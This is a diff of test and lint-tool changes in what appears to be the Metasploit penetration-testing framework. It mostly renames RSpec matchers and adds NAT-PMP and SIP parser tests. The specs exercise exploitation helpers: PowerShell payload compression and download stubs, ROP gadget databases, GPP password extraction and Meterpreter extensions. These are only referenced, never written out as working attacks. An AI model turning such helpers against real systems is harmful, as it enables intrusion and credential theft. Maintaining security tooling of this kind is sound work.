@ -46,7 +46,7 @@ describe Rex::Exploitation::Powershell::Output do
it 'should append an eof marker if specified' do it 'should append an eof marker if specified' do
compressed = subject.deflate_code(eof) compressed = subject.deflate_code(eof)
compressed.include?("echo '#{eof}';").should be_true compressed.include?("echo '#{eof}';").should be_truthy
end end
end end
@ -62,7 +62,7 @@ describe Rex::Exploitation::Powershell::Output do
describe "::gzip_code" do describe "::gzip_code" do
it 'should gzip the code and wrap in powershell in uncompression stub' do it 'should gzip the code and wrap in powershell in uncompression stub' do
compressed = subject.gzip_code compressed = subject.gzip_code
compressed.include?('IO.Compression.GzipStream').should be_true compressed.include?('IO.Compression.GzipStream').should be_truthy
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
$1.size.should be < Rex::Text.encode_base64(example_script).size $1.size.should be < Rex::Text.encode_base64(example_script).size
compressed.should eq subject.code compressed.should eq subject.code
@ -70,24 +70,24 @@ describe Rex::Exploitation::Powershell::Output do
it 'should append an eof marker if specified' do it 'should append an eof marker if specified' do
compressed = subject.gzip_code(eof) compressed = subject.gzip_code(eof)
compressed.include?("echo '#{eof}';").should be_true compressed.include?("echo '#{eof}';").should be_truthy
end end
end end
describe "::compress_code" do describe "::compress_code" do
it 'should gzip by default' do it 'should gzip by default' do
compressed = subject.compress_code compressed = subject.compress_code
compressed.include?('IO.Compression.GzipStream').should be_true compressed.include?('IO.Compression.GzipStream').should be_truthy
end end
it 'should deflate if gzip is false' do it 'should deflate if gzip is false' do
compressed = subject.compress_code(nil,false) compressed = subject.compress_code(nil,false)
compressed.include?('IO.Compression.DeflateStream').should be_true compressed.include?('IO.Compression.DeflateStream').should be_truthy
end end
it 'should append an eof' do it 'should append an eof' do
compressed = subject.compress_code(eof) compressed = subject.compress_code(eof)
compressed.include?("echo '#{eof}';").should be_true compressed.include?("echo '#{eof}';").should be_truthy
end end
end end

View File

@ -19,7 +19,7 @@ describe Rex::Exploitation::Powershell::Param do
param.should be param.should be
param.name.should eq param_name param.name.should eq param_name
param.klass.should eq klass_name param.klass.should eq klass_name
param.to_s.include?("[#{klass_name}]$#{param_name}").should be_true param.to_s.include?("[#{klass_name}]$#{param_name}").should be_truthy
end end
end end

View File

@ -67,7 +67,7 @@ function Find-4624Logons
vars.should be vars.should be
vars.should be_kind_of Array vars.should be_kind_of Array
vars.length.should be > 0 vars.length.should be > 0
vars.include?('$ResultObj').should be_true vars.include?('$ResultObj').should be_truthy
end end
it 'should not match upper or lowercase reserved names' do it 'should not match upper or lowercase reserved names' do
@ -86,7 +86,7 @@ function Find-4624Logons
funcs.should be funcs.should be
funcs.should be_kind_of Array funcs.should be_kind_of Array
funcs.length.should be > 0 funcs.length.should be > 0
funcs.include?('Find-4624Logons').should be_true funcs.include?('Find-4624Logons').should be_truthy
end end
end end
@ -96,7 +96,7 @@ function Find-4624Logons
literals.should be literals.should be
literals.should be_kind_of Array literals.should be_kind_of Array
literals.length.should be > 0 literals.length.should be > 0
literals[0].include?('parp').should be_false literals[0].include?('parp').should be_falsey
end end
end end
@ -152,7 +152,7 @@ function Find-4624Logons
it 'should delete the function if delete is true' do it 'should delete the function if delete is true' do
function = subject.get_func('Find-4624Logons', true) function = subject.get_func('Find-4624Logons', true)
subject.code.include?('DllImport').should be_false subject.code.include?('DllImport').should be_falsey
end end
end end
end end

View File

@ -9,35 +9,35 @@ describe Rex::Exploitation::Powershell::PshMethods do
it 'should return some powershell' do it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.download('a','b') script = Rex::Exploitation::Powershell::PshMethods.download('a','b')
script.should be script.should be
script.include?('WebClient').should be_true script.include?('WebClient').should be_truthy
end end
end end
describe "::uninstall" do describe "::uninstall" do
it 'should return some powershell' do it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.uninstall('a') script = Rex::Exploitation::Powershell::PshMethods.uninstall('a')
script.should be script.should be
script.include?('Win32_Product').should be_true script.include?('Win32_Product').should be_truthy
end end
end end
describe "::secure_string" do describe "::secure_string" do
it 'should return some powershell' do it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.secure_string('a') script = Rex::Exploitation::Powershell::PshMethods.secure_string('a')
script.should be script.should be
script.include?('AsPlainText').should be_true script.include?('AsPlainText').should be_truthy
end end
end end
describe "::who_locked_file" do describe "::who_locked_file" do
it 'should return some powershell' do it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a') script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a')
script.should be script.should be
script.include?('Get-Process').should be_true script.include?('Get-Process').should be_truthy
end end
end end
describe "::get_last_login" do describe "::get_last_login" do
it 'should return some powershell' do it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a') script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a')
script.should be script.should be
script.include?('Get-QADComputer').should be_true script.include?('Get-QADComputer').should be_truthy
end end
end end
end end

View File

@ -21,7 +21,7 @@ describe Rex::Exploitation::Powershell::Output do
subject.rig.should be_kind_of Rex::RandomIdentifierGenerator subject.rig.should be_kind_of Rex::RandomIdentifierGenerator
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
subject.code.empty?.should be_false subject.code.empty?.should be_falsey
subject.functions.empty?.should be_true subject.functions.empty?.should be_true
end end
end end
@ -31,7 +31,7 @@ describe Rex::Exploitation::Powershell::Output do
byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp") byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp")
byte_array.should be byte_array.should be
byte_array.should be_kind_of String byte_array.should be_kind_of String
byte_array.include?('[Byte[]] $').should be_true byte_array.include?('[Byte[]] $').should be_truthy
end end
end end
@ -40,7 +40,7 @@ describe Rex::Exploitation::Powershell::Output do
mods = Rex::Exploitation::Powershell::Script.code_modifiers mods = Rex::Exploitation::Powershell::Script.code_modifiers
mods.should be mods.should be
mods.should be_kind_of Array mods.should be_kind_of Array
mods.empty?.should be_false mods.empty?.should be_falsey
end end
end end

View File

@ -38,7 +38,7 @@ DumpHashes"""
describe "::make_subs" do describe "::make_subs" do
it 'should substitute values in script' do it 'should substitute values in script' do
script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']]) script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']])
script.include?('BitConverter').should be_false script.include?('BitConverter').should be_falsey
script.include?('ParpConverter').should be_true script.include?('ParpConverter').should be_true
end end
end end

View File

@ -16,23 +16,23 @@ describe Rex::Exploitation::RopDb do
context ".has_rop?" do context ".has_rop?" do
it "should find the msvcrt ROP database" do it "should find the msvcrt ROP database" do
ropdb.has_rop?("msvcrt").should be_true ropdb.has_rop?("msvcrt").should be_truthy
end end
it "should find the java ROP database" do it "should find the java ROP database" do
ropdb.has_rop?("java").should be_true ropdb.has_rop?("java").should be_truthy
end end
it "should find the hxds ROP database" do it "should find the hxds ROP database" do
ropdb.has_rop?("hxds").should be_true ropdb.has_rop?("hxds").should be_truthy
end end
it "should find the flash ROP database" do it "should find the flash ROP database" do
ropdb.has_rop?("flash").should be_true ropdb.has_rop?("flash").should be_truthy
end end
it "should return false when I supply an invalid database" do it "should return false when I supply an invalid database" do
ropdb.has_rop?("sinn3r").should be_false ropdb.has_rop?("sinn3r").should be_falsey
end end
end end

View File

@ -132,7 +132,7 @@ describe Rex::Parser::GPP do
it "Parse returns results for xml_datasrc, and attributes, and password is test1" do it "Parse returns results for xml_datasrc, and attributes, and password is test1" do
results = GPP.parse(xml_datasrc) results = GPP.parse(xml_datasrc)
results.should_not be_empty results.should_not be_empty
results[0].include?(:ATTRIBUTES).should be_true results[0].include?(:ATTRIBUTES).should be_truthy
results[0][:ATTRIBUTES].should_not be_empty results[0][:ATTRIBUTES].should_not be_empty
results[0][:PASS].should eq("test") results[0][:PASS].should eq("test")
end end

View File

@ -29,14 +29,14 @@ describe Rex::Post::Meterpreter::ClientCore do
context 'with a gemified module' do context 'with a gemified module' do
let(:mod) {"kiwi"} let(:mod) {"kiwi"}
it 'should be available' do it 'should be available' do
expect(client_core.use(mod)).to be_true expect(client_core.use(mod)).to be_truthy
end end
end end
context 'with a local module' do context 'with a local module' do
let(:mod) {"sniffer"} let(:mod) {"sniffer"}
it 'should be available' do it 'should be available' do
expect(client_core.use(mod)).to be_true expect(client_core.use(mod)).to be_truthy
end end
end end

View File

@ -51,7 +51,7 @@ describe Rex::Proto::Http::Client do
cli.instance_variable_get(:@hostname).should == ip cli.instance_variable_get(:@hostname).should == ip
cli.instance_variable_get(:@port).should == 80 cli.instance_variable_get(:@port).should == 80
cli.instance_variable_get(:@context).should == {} cli.instance_variable_get(:@context).should == {}
cli.instance_variable_get(:@ssl).should be_false cli.instance_variable_get(:@ssl).should be_falsey
cli.instance_variable_get(:@proxies).should be_nil cli.instance_variable_get(:@proxies).should be_nil
cli.instance_variable_get(:@username).should be_empty cli.instance_variable_get(:@username).should be_empty
cli.instance_variable_get(:@password).should be_empty cli.instance_variable_get(:@password).should be_empty
@ -202,7 +202,7 @@ describe Rex::Proto::Http::Client do
end end
it "should test if a connection is valid" do it "should test if a connection is valid" do
cli.conn?.should be_false cli.conn?.should be_falsey
end end
it "should tell if pipelining is enabled" do it "should tell if pipelining is enabled" do

View File

@ -0,0 +1,48 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/natpmp/packet'
describe Rex::Proto::NATPMP do
subject do
mod = Module.new
mod.extend described_class
mod
end
describe '#parse_external_address_response' do
it 'should properly parse non-error responses' do
data = "\x00\x80\x00\x00\x00\x33\x50\x53\xc0\xa8\x01\x02"
subject.parse_external_address_response(data)
ver, opcode, result, epoch, addr = subject.parse_external_address_response(data)
expect(ver).to eq(0)
expect(opcode).to eq(128)
expect(result).to eq(0)
expect(epoch).to eq(3362899)
expect(addr).to eq('192.168.1.2')
end
it 'should properly parse error responses' do
data = "\x00\x80\x00\x03\x00\x00\x70\x90\x00\x00\x00\x00"
subject.parse_external_address_response(data)
ver, opcode, result, epoch, addr = subject.parse_external_address_response(data)
expect(ver).to eq(0)
expect(opcode).to eq(128)
expect(result).to eq(3)
expect(epoch).to eq(28816)
expect(addr).to eq('0.0.0.0')
end
end
describe '#parse_map_port_response' do
it 'should properly parse responses' do
data = "\x00\x82\x00\x00\x00\x33\x6f\xd8\x11\x5c\x15\xb3\x00\x36\xee\x80"
ver, opcode, result, epoch, internal, external, lifetime = subject.parse_map_port_response(data)
expect(ver).to eq(0)
expect(opcode).to eq(130)
expect(result).to eq(0)
expect(epoch).to eq(3370968)
expect(internal).to eq(4444)
expect(external).to eq(5555)
expect(lifetime).to eq(3600000)
end
end
end

View File

@ -0,0 +1,41 @@
# -*- coding: binary -*-
require 'rex/proto/sip/response'
describe 'Rex::Proto::SIP::Response parsing' do
describe 'Parses vaild responses correctly' do
specify do
resp = 'SIP/1.0 123 Sure, OK'
r = ::Rex::Proto::SIP::Response.parse(resp)
r.status_line.should eq(resp)
r.version.should eq('1.0')
r.code.should eq('123')
r.message.should eq('Sure, OK')
r.headers.should be_nil
end
specify do
resp = "SIP/2.0 200 OK\r\nFoo: bar\r\nBlah: 0\r\nFoO: blaf\r\n"
r = ::Rex::Proto::SIP::Response.parse(resp)
r.status_line.should eq('SIP/2.0 200 OK')
r.version.should eq('2.0')
r.code.should eq('200')
r.message.should eq('OK')
r.headers.should eq('Foo' => %w(bar), 'Blah' => %w(0), 'FoO' => %w(blaf))
r.header('Foo').should eq %w(bar blaf)
end
end
describe 'Parses invalid responses correctly' do
[
'',
'aldkjfakdjfasdf',
'SIP/foo 200 OK',
'SIP/2.0 foo OK'
].each do |r|
it 'Should fail to parse an invalid response' do
expect { ::Rex::Proto::SIP::Response.parse(r) }.to raise_error(ArgumentError, /status/)
end
end
end
end

View File

@ -8,7 +8,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do
context "without ssl, without port" do context "without ssl, without port" do
it "should default :port to #{described_class::DEFAULT_PORT}" do it "should default :port to #{described_class::DEFAULT_PORT}" do
expect(http_scanner.ssl).to be_false expect(http_scanner.ssl).to be_falsey
expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) expect(http_scanner.port).to eq(described_class::DEFAULT_PORT)
end end
end end
@ -16,7 +16,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do
context "with ssl, without port" do context "with ssl, without port" do
subject(:http_scanner) { described_class.new(ssl:true) } subject(:http_scanner) { described_class.new(ssl:true) }
it "should set :port to default ssl port (#{described_class::DEFAULT_SSL_PORT})" do it "should set :port to default ssl port (#{described_class::DEFAULT_SSL_PORT})" do
expect(http_scanner.ssl).to be_true expect(http_scanner.ssl).to be_truthy
expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT)
end end
end end
@ -25,14 +25,14 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do
subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_PORT) } subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_PORT) }
it "should set ssl to false" do it "should set ssl to false" do
expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) expect(http_scanner.port).to eq(described_class::DEFAULT_PORT)
expect(http_scanner.ssl).to be_false expect(http_scanner.ssl).to be_falsey
end end
end end
context "without ssl, with default SSL port" do context "without ssl, with default SSL port" do
subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_SSL_PORT) } subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_SSL_PORT) }
it "should set ssl to true" do it "should set ssl to true" do
expect(http_scanner.ssl).to be_true expect(http_scanner.ssl).to be_truthy
expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT)
end end
end end

View File

@ -25,7 +25,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or
module_detail.platforms.any? { |module_platform| module_detail.platforms.any? { |module_platform|
module_platform.name == self.module_platform.name module_platform.name == self.module_platform.name
} }
}.should be_true }.should be_truthy
end end
end end
@ -42,7 +42,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or
module_detail.targets.any? { |module_target| module_detail.targets.any? { |module_target|
module_target.name == self.module_target.name module_target.name == self.module_target.name
} }
}.should be_true }.should be_truthy
end end
end end
end end

View File

@ -31,7 +31,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword
module_detail.refs.any? { |module_ref| module_detail.refs.any? { |module_ref|
module_ref.name == name module_ref.name == name
} }
}.should be_true }.should be_truthy
end end
end end

View File

@ -44,7 +44,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
{} {}
end end
it { should be_true } it { should be_truthy }
end end
context 'without empty' do context 'without empty' do
@ -54,7 +54,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
} }
end end
it { should be_false } it { should be_falsey }
end end
end end
@ -196,7 +196,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
false false
end end
it { should be_false } it { should be_falsey }
end end
context 'with true' do context 'with true' do
@ -204,7 +204,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
true true
end end
it { should be_true } it { should be_truthy }
end end
end end
end end
@ -214,7 +214,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
{} {}
end end
it { should be_false } it { should be_falsey }
end end
end end
@ -315,7 +315,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
true true
end end
it { should be_true } it { should be_truthy }
end end
context 'without migrated' do context 'without migrated' do
@ -323,7 +323,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
false false
end end
it { should be_false } it { should be_falsey }
end end
end end
@ -332,7 +332,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
framework.stub(:db => nil) framework.stub(:db => nil)
end end
it { should be_false } it { should be_falsey }
end end
end end

View File

@ -9,7 +9,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do
module_path = tempfile.path module_path = tempfile.path
subject.send(:module_info_by_path)[module_path].should be_nil subject.send(:module_info_by_path)[module_path].should be_nil
subject.file_changed?(module_path).should be_true subject.file_changed?(module_path).should be_truthy
end end
end end
@ -25,7 +25,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do
:type => Msf::MODULE_PAYLOAD :type => Msf::MODULE_PAYLOAD
} }
subject.file_changed?(module_path).should be_true subject.file_changed?(module_path).should be_truthy
end end
end end
@ -41,7 +41,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do
tempfile.unlink tempfile.unlink
File.exist?(module_path).should be_false File.exist?(module_path).should be_falsey
subject.file_changed?(module_path).should be_true subject.file_changed?(module_path).should be_true
end end
@ -56,7 +56,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do
} }
cached_modification_time.should_not == modification_time cached_modification_time.should_not == modification_time
subject.file_changed?(module_path).should be_true subject.file_changed?(module_path).should be_truthy
end end
end end
@ -71,7 +71,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do
} }
cached_modification_time.should == modification_time cached_modification_time.should == modification_time
subject.file_changed?(module_path).should be_false subject.file_changed?(module_path).should be_falsey
end end
end end
end end

View File

@ -21,7 +21,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do
path = file.path path = file.path
file.unlink file.unlink
File.exist?(path).should be_false File.exist?(path).should be_falsey
expect { expect {
module_manager.add_module_path(path) module_manager.add_module_path(path)
@ -32,7 +32,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do
Tempfile.open(archive_basename) do |temporary_file| Tempfile.open(archive_basename) do |temporary_file|
path = temporary_file.path path = temporary_file.path
File.exist?(path).should be_true File.exist?(path).should be_truthy
module_manager.add_module_path(path) module_manager.add_module_path(path)

View File

@ -32,7 +32,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type|
it "should be valid and normalize appropriately: #{valid_value}" do it "should be valid and normalize appropriately: #{valid_value}" do
block = Proc.new { block = Proc.new {
subject.normalize(valid_value).should == normalized_value subject.normalize(valid_value).should == normalized_value
subject.valid?(valid_value).should be_true subject.valid?(valid_value).should be_truthy
} }
if vhash[:pending] if vhash[:pending]
pending(vhash[:pending], &block) pending(vhash[:pending], &block)
@ -47,7 +47,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type|
invalid_values.each do |vhash| invalid_values.each do |vhash|
invalid_value = vhash[:value] invalid_value = vhash[:value]
it "should not be valid: #{invalid_value}" do it "should not be valid: #{invalid_value}" do
block = Proc.new { subject.valid?(invalid_value).should be_false } block = Proc.new { subject.valid?(invalid_value).should be_falsey }
if vhash[:pending] if vhash[:pending]
pending(vhash[:pending], &block) pending(vhash[:pending], &block)
else else

View File

@ -50,8 +50,9 @@ end
changed_files.each_line do |fname| changed_files.each_line do |fname|
fname.strip! fname.strip!
next unless File.exist?(fname) and File.file?(fname) next unless File.exist?(fname)
next unless fname =~ /modules.+\.rb/ next unless File.file?(fname)
next unless fname =~ /^modules.+\.rb/
files_to_check << fname files_to_check << fname
end end

View File

@ -47,11 +47,16 @@ class Msftidy
WARNINGS = 0x10 WARNINGS = 0x10
ERRORS = 0x20 ERRORS = 0x20
# Some compiles regexes
REGEX_MSF_EXPLOIT = / \< Msf::Exploit/
REGEX_IS_BLANK_OR_END = /^\s*end\s*$/
attr_reader :full_filepath, :source, :stat, :name, :status attr_reader :full_filepath, :source, :stat, :name, :status
def initialize(source_file) def initialize(source_file)
@full_filepath = source_file @full_filepath = source_file
@source = load_file(source_file) @source = load_file(source_file)
@lines = @source.lines # returns an enumerator
@status = OK @status = OK
@name = File.basename(source_file) @name = File.basename(source_file)
end end
@ -110,7 +115,7 @@ class Msftidy
end end
def check_shebang def check_shebang
if @source.lines.first =~ /^#!/ if @lines.first =~ /^#!/
warn("Module should not have a #! line") warn("Module should not have a #! line")
end end
end end
@ -126,7 +131,7 @@ class Msftidy
msg = "Using Nokogiri in modules can be risky, use REXML instead." msg = "Using Nokogiri in modules can be risky, use REXML instead."
has_nokogiri = false has_nokogiri = false
has_nokogiri_xml_parser = false has_nokogiri_xml_parser = false
@source.each_line do |line| @lines.each do |line|
if has_nokogiri if has_nokogiri
if line =~ /Nokogiri::XML\.parse/ or line =~ /Nokogiri::XML::Reader/ if line =~ /Nokogiri::XML\.parse/ or line =~ /Nokogiri::XML::Reader/
has_nokogiri_xml_parser = true has_nokogiri_xml_parser = true
@ -143,7 +148,7 @@ class Msftidy
in_super = false in_super = false
in_refs = false in_refs = false
@source.each_line do |line| @lines.each do |line|
if !in_super and line =~ /\s+super\(/ if !in_super and line =~ /\s+super\(/
in_super = true in_super = true
elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/
@ -203,7 +208,7 @@ class Msftidy
# warn if so. Since Ruby 1.9 this has not been necessary and # warn if so. Since Ruby 1.9 this has not been necessary and
# the framework only suports 1.9+ # the framework only suports 1.9+
def check_rubygems def check_rubygems
@source.each_line do |line| @lines.each do |line|
if line_has_require?(line, 'rubygems') if line_has_require?(line, 'rubygems')
warn("Explicitly requiring/loading rubygems is not necessary") warn("Explicitly requiring/loading rubygems is not necessary")
break break
@ -234,7 +239,7 @@ class Msftidy
max_count = 10 max_count = 10
counter = 0 counter = 0
if @source =~ /^##/ if @source =~ /^##/
@source.each_line do |line| @lines.each do |line|
# If exists, the $Id$ keyword should appear at the top of the code. # If exists, the $Id$ keyword should appear at the top of the code.
# If not (within the first 10 lines), then we assume there's no # If not (within the first 10 lines), then we assume there's no
# $Id$, and then bail. # $Id$, and then bail.
@ -266,7 +271,7 @@ class Msftidy
in_super = false in_super = false
in_author = false in_author = false
@source.each_line do |line| @lines.each do |line|
# #
# Mark our "super" code block # Mark our "super" code block
# #
@ -344,8 +349,37 @@ class Msftidy
error("Fails alternate Ruby version check") if rubies.size != res.size error("Fails alternate Ruby version check") if rubies.size != res.size
end end
def is_exploit_module?
ret = false
if @source =~ REGEX_MSF_EXPLOIT
# having Msf::Exploit is good indicator, but will false positive on
# specs and other files containing the string, but not really acting
# as exploit modules, so here we check the file for some actual contents
# this could be done in a simpler way, but this let's us add more later
msf_exploit_line_no = nil
@lines.each_with_index do |line, idx|
if line =~ REGEX_MSF_EXPLOIT
# note the line number
msf_exploit_line_no = idx
elsif msf_exploit_line_no
# check there is anything but empty space between here and the next end
# something more complex could be added here
if line !~ REGEX_IS_BLANK_OR_END
# if the line is not 'end' and is not blank, prolly exploit module
ret = true
break
else
# then keep checking in case there are more than one Msf::Exploit
msf_exploit_line_no = nil
end
end
end
end
ret
end
def check_ranking def check_ranking
return if @source !~ / \< Msf::Exploit/ return unless is_exploit_module?
available_ranks = [ available_ranks = [
'ManualRanking', 'ManualRanking',
@ -384,7 +418,7 @@ class Msftidy
error('Incorrect disclosure date format') error('Incorrect disclosure date format')
end end
else else
error('Exploit is missing a disclosure date') if @source =~ / \< Msf::Exploit/ error('Exploit is missing a disclosure date') if is_exploit_module?
end end
end end
@ -440,7 +474,7 @@ class Msftidy
src_ended = false src_ended = false
idx = 0 idx = 0
@source.each_line { |ln| @lines.each do |ln|
idx += 1 idx += 1
# block comment awareness # block comment awareness
@ -519,7 +553,7 @@ class Msftidy
if ln =~ /^\s*Rank\s*=\s*/ and @source =~ /<\sMsf::Auxiliary/ if ln =~ /^\s*Rank\s*=\s*/ and @source =~ /<\sMsf::Auxiliary/
warn("Auxiliary modules have no 'Rank': #{ln}", idx) warn("Auxiliary modules have no 'Rank': #{ln}", idx)
end end
} end
end end
def check_vuln_codes def check_vuln_codes